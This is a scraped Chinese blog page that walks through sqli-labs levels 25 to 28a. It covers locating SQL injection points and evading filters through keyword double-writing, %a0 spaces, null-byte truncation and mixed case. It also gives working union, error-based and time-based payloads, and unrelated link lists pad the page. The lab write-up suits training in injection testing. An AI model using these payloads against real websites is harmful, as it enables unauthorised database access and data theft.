当前位置: 首页 > news >正文

小程序企业网站源码wordpress 显示不全

小程序企业网站源码,wordpress 显示不全,网站备案 阿里云,学校网站怎么做的好处在SQL注入过程中难点就是判断注入点 只要注入点确定了 获取数据库数据的过程就是复制 从这关开始 只进行判断注入点了和代码逻辑分析了 因为注入操作太简单了#xff08;不演示了#xff09; 目录 less-25 less-25a less-26 less-26a less-27 less-27a less-28 less-… 在SQL注入过程中难点就是判断注入点 只要注入点确定了  获取数据库数据的过程就是复制 从这关开始 只进行判断注入点了和代码逻辑分析了 因为注入操作太简单了不演示了 目录 less-25 less-25a less-26 less-26a less-27 less-27a less-28 less-28a less-25 首先正常页面 说是or和and属于他们 过滤一个id参数的值 搞不懂 先正常来 判断注入点 ?id1 正常    ?id1 错误to use near 1 ?id1\ 错误to use near 1\ 正常来说是缺少单引号 ?id1#  提示Your Input is Filtered with following result: 1 ?id1--  成功 ?id1 and 11 无返回结果 提示 Your Input is Filtered with following result: 1 11 原来如此  一开始就提示了 and和or 属于他们的 把and和 or过滤掉了  现在报错会被输出出来 但是无法使用and构造语句了 但是注释符没被过滤 使用联合查询试一下 ?id0 union select 1,2,3 -- 成功 ?id0 union select 1,database(),3 -- 成功 ?id0 union select 1,extractvalue(1,concat(~,database())),3 -- 使用联合查询的报错函数也成功了 先看看双写可不可以 ?id1 aandnd 11 --  成功 ?id1 aandnd 12 --  成功 试试and的符号可不可以 发现一致报错 提示也没获取到符号以及后面的内容 但是or|| 一真则真 ?id2 || 11 -- 成功 ?id2 || 12 -- 成功 那么尝试报错注入 ?id0 || extractvalue(1,concat(~,database())) -- 成功 代码分析 就是过滤了and和or 无需逻辑分析 less-25a 和上关提示一样 也是过滤了or和and 判断注入点 ?id1 报错不告诉具体原因了 不能使用报错函数了 试试符号形式的and和or ?id1 || 11 成功 ?id1 || 12 成功 看来是整型注入点 和上关一样一直报错只能使用|| 看看双写可不可以 ?id2 aandnd 11 成功 ?id2 aandnd 12 失败 双写也可以 使用联合查询 ?id0 UNION SELECT 1,2,3 成功 ?id0 UNION SELECT 1,2,database() 成功 使用 延时函数 ?id1 anandd if(1,sleep(2),2) 成功 代码分析 无逻辑分析 就是参数为整型 过滤and和or 无报错函数 less-26 说是空格和comments都被过滤 判断注入点 ?id1 and 11  提示获取到了Your Input is Filtered with following result: 111 看来and和or还有空格都被过滤了 测试注释的时候发现注释也被过滤了 ?id1 报错to use near 1 好消息这里能判断注这是字符型注入点 这么多东西都被过滤了 只能进行替换一个一个试了 看看双写 ?id1 anandd 11  失败 但是提示显示获取到了and 证明双写可以  空格没有被获取到所以导致失败 找一个替换空格space的  space在url中是%20 可以 使用%a0 || %0b绕过  成功 因为是字符型注入 现在的操作是 ?id1%a0anandd%a011可以 但是注释符也被过滤了如果继续进行注入操作还是不行的 想办法把最后的单引号闭合 想到了两种方式 第一种方式就是再后面再加上一个and后者or  ?id1%a0anandd%a0 11%a0anandd11 成功 第二种方式就是 %00会截断整个url  ?id1%a0anandd%a0 11 ;%00 成功 解释一下正常我们输入的数据到url中都会进行编码  space的空格方式会被编码成%20  %20代表空格 %a0 也代表空格  在服务器只会过滤space方式的空格 %00属于空符截断。在某些编程语言和数据库实现中它表示字符串的终止符 也就是说我们传入%00 服务器会把这个%00带入到数据库中 在数据库中的sql语句如果遇到了%00后面的语句就不执行了 也就相当于注释的意思 但是比注释更狠 因为注释不会注释服务器后端sql语句最后的分号 但是%00会把分号注释掉 所以要加上一个分号 在这里还要提一句 这关可以使用报错注入和联合注入 使用报错注入的时候 不用管空格因为有没有空格这个语句都会报错  在报错函数中可能会使用from之类的中间会有空格可以用括号括起来 像第二个例句一样 报错注入实例 ?id-1||updatexml(1,concat(0x7e,database()),1)||11 ?id1||extractvalue(1,concat(~,(select(group_concat(schema_name))from(information_schema.schemata))))||11 联合注入实例 ?id1%a0union%a0select%a01,2,3;%00 代码分析 无需分析 就是加上了过滤条件 没有逻辑上的问题 less-26a 提示和上一关一样没什么区别 注入测试 ?id1  报错 没给具体报错信息 不能使用报错函数 ?id1\  反斜杠被过滤 ?id1 and 11 and和空格照样被过滤 ?id1%a0anandd%a011;%00 输出id1的值 ?id1%a0anandd%a012;%00 输出id1的值 ;%00不报错可以证明该语句后面没有特殊字符 那为什么11和12输出结果一样呢 看源码 $sqlSELECT * FROM users WHERE id($id) LIMIT 0,1; $sqlSELECT * FROM users WHERE id(1 and 12; 不应该呀 应该也报错呀  ?id1)%a0anandd%a011;%00 ?id1)%a0anandd%a012;%00 这两个语句成功执行了能使用盲注和联合查询 但是我还不明白为什么上面的能输出id1的结果应该是报错呀 注意 1按理说空字符截断应该数据库报错 竟然没报错并且查询到了结果 有时候只能多尝试 把学过的都试一遍  2为什么字符串里面只要是第一个是1 2都能查询出结果 是因为 设置id为整型 强制转换后只保留第一位 后面输入啥都无所谓 代码分析 无逻辑分析内容 知识添加了过滤条件 less-27 正常界面 过滤了union和select 尝试 ?id1 and 11# 提示Your Input is Filtered with following result: 1and11 发现注释符和空格也被过滤 但是and没被过滤 ?id1to use near 1   有报错信息 估计是单引号没被闭合 ?id1%a0and%a011;%00成功执行         ?id1%a0and%a012;%00失败执行 确定为字符型注入点  看看双写 union 和select可不可以  发现union只过滤了一次 但是select过滤了两次 ?id0%a0uunionnion%a0seseselectlectlect%a01,2,3;%00 试试大小写混合可不可以 ?id0%a0UNIon%a0sELect%a01,2,3;%00 大小写也可以 这样就可以使用联合查询注入和报错注入 代码分析 增加了sleect和union的过滤 less-27a 和上题的提示一样 进行尝试 ?id1 and 11# 依旧是去除了空格注释 ?id1  不报错并查询出结果  估计也是字符型的但是没用单引号 ?id1\ 报错信息不全 不能使用报错注入 多次测试发现是双引号闭合的字符型注入 ?id1%a0and%a011;%00  成功 ?id1%a0and%a012;%00  失败 上两句确定了注入点 构造语句 发现union和上一题一样过滤一次 select过滤两次 大小写也能成功绕过 ?id0%a0ununionion%a0sELECT%a01,2,3;%00  试一试盲注盲注是最慢的最不推荐 ?id1%a0and%a0if(1,sleep(2),2)%a0;%00 成功 代码分析 参数为双引号的字符型参数 不能使用报错函数 less-28 提示和27管一样过滤union和select 进行测试 ?id1 and 11# Your Input is Filtered with following result: 1and11 发现没有过滤and 和前几关一样过滤了注释和空格 ?id1 报错没有详细的报错信息 不能使用报错注入  ?id1;%00 报错 可能是整型 可能对参数使用的形式不止单引号 ?id1 and 11;%00成功 ?id1 and 12;%00成功 以上两个语句得出不是整型 那就是不止只有单引号 ?id1)%a0and%a011;%00 成功 ?id1)%a0and%a012;%00 失败 得出服务器参数的形式为($id) ?id0)%a0union%a0select%a01,2,3;%00  说是过滤union和select但是经过测试并没有被过滤 从而判断出这题能使用联合查询注入和盲注 不能使用报错注入  无需代码分析就是过滤条件比较多 less-28a 提示信息依旧是过滤union和select 注入测试 ?id1 报错无详细报错信息 不能使用报错注入 ?id1;%00  得出可能是整型可能字符型不止单引号 轻轻松松试出来 ?id1)%a0and%a011;%00 成功 ?id1)%a0and%a012;%00 不成功 的到注入点 构造语句 轻松拿下 ?id0)%a0union%a0select%a01,2,3;%00 id1)%a0and%a0if(1,sleep(2),1);%00 可以使用联合查询 盲注 代码分析 依旧不需要逻辑分析
http://www.dnsts.com.cn/news/115678.html

相关文章:

  • 网站开发毕业设计说明书范文深圳建筑行业公司
  • 做网站的业务分析西安网站建设收费标准
  • 原平的旅游网站怎么做的高端网站建设设计公司
  • 做网站的运营维护都要学什么网站建设开发ppt模板下载
  • 多用户网站产品设计网上接单
  • 自己开网站工作室大型网站改版
  • 武陟外贸英文网站建设wordpress 添加页面模板
  • 免费企业cms建站系统深圳市广告设计公司
  • 六安高端网站建设公司elgg与wordpress对比
  • 建设网站对公司起什么作用是什么重庆平台网站建设哪里好
  • 网站建设是什么时间段申请域名建筑装饰装修
  • 做医院网站及微信公众号价格多个域名指向同一个网站
  • 电商手机网站开发个人网站备案 法律说明
  • 做兼职用什么网站最好网站开元棋牌怎么做app
  • 合作制作网站百度竞价返点开户
  • 重庆智能建站模板百度关键词策划和seo的优化
  • 视频优化网站怎么做wordpress 编辑器隔行
  • 安康网站开发建一个网站模板网
  • 乐云seo商城网站建设济南seo整站优化厂家
  • 网站开发上证k线网站开发有哪些认证
  • 网站建设方案策划书ppt模板免费论文网站大全
  • 装修公司网站用的织梦网站建设的请示报告
  • php ajax网站开发典型实例pdf上海专业做网站公司
  • 微网站首页在线图片编辑器下载
  • 建设通网站电话一级消防工程师考试题库2000题
  • 触屏版手机网站江苏省南京市栖霞区
  • 用手机怎样免费做网站新网站推广
  • 诸塈市建设局网站免费建设淘客网站
  • 网站服务器解决方案设计之家室内设计
  • 手机网站模板 商城国人wordpress企业主题